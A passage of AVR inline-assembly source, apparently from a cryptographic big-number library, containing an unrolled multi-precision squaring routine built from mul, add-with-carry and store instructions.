0 \n\t" \ + "mul r2, r2 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r3 \n\t" \ + "lsl r0 \n\t" \ + "rol r1 \n\t" \ + "adc r24, r27 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r27 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r4 \n\t" \ + "lsl r0 \n\t" \ + "rol r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r3, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r6 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r4, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r7 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r4, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r8 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r4, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r5, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r4, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r5, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r10 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r4, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r5, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r6, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r11 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r4, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r5, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r6, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r4, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r5, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r6, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r7, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r4, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r5, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r6, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r7, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r5, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r6, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r7, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r8, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r6, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r7, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r8, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r7, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r8, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r9, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r8, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r9, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r9, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r10, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r10, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r11, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r12, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r12, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r11, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r12, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r13, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r12, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r13, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r12, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r13, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r14, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r12, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r13, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r14, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r12, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r13, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r14, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r15, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r12, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r13, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r14, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r15, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r11, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r12, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r13, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r14, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r15, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 